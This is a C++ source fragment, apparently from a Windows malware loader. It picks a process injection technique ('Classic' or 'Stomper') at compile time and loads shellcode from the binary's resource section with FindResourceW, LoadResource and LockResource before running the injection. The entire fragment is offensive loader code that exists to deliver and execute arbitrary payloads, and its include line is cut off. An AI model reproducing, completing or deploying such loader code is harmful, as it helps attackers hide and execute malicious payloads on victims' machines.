#include auto Injection::Main() -> VOID { #if INJECTION_TECHNIQUE == INJECTION_TECHNIQUE_CLASSIC return Injection::Classic(); #elif INJECTION_TECHNIQUE == INJECTION_TECHNIQUE_STOMPER return Injection::Stomper(); #endif } #if SHELLCODE_SECTION_LOCATION == SHELLCODE_SECTION_RSRC #ifndef RSRC_ID #define RSRC_ID 101 #endif namespace Shellcode { uint8_t* Data = nullptr; size_t Size = 0; static BOOL Load() { DbgPrint("RSRC_ID: %d\n", RSRC_ID); HRSRC hRes = FindResourceW(NULL, MAKEINTRESOURCEW(RSRC_ID), MAKEINTRESOURCEW(10)); if (!hRes) { DbgPrint("FindResourceW failed: (%d)\n", GetLastError()); return FALSE; } HGLOBAL hLoad = LoadResource(NULL, hRes); if (!hLoad) { DbgPrint("LoadResource failed: (%d)\n", GetLastError()); return FALSE; } Data = (uint8_t*)LockResource(hLoad); Size = (size_t)SizeofResource(NULL, hRes); DbgPrint("Shellcode loaded — Data: 0x%p Size: %llu\n", Data, Size); return Data != nullptr && Size > 0; } } auto EntryLoader( VOID ) -> VOID { if (!Shellcode::Load()) { DbgPrint("Failed to load shellcode from .rsrc\n"); return; } Injection::Main(); } #elif SHELLCODE_SECTION_LOCATION == SHELLCODE_SECTION_OTHER auto EntryLoader( VOID ) -> VOID { Injection::Main(); } #endif // SHELLCODE_SECTION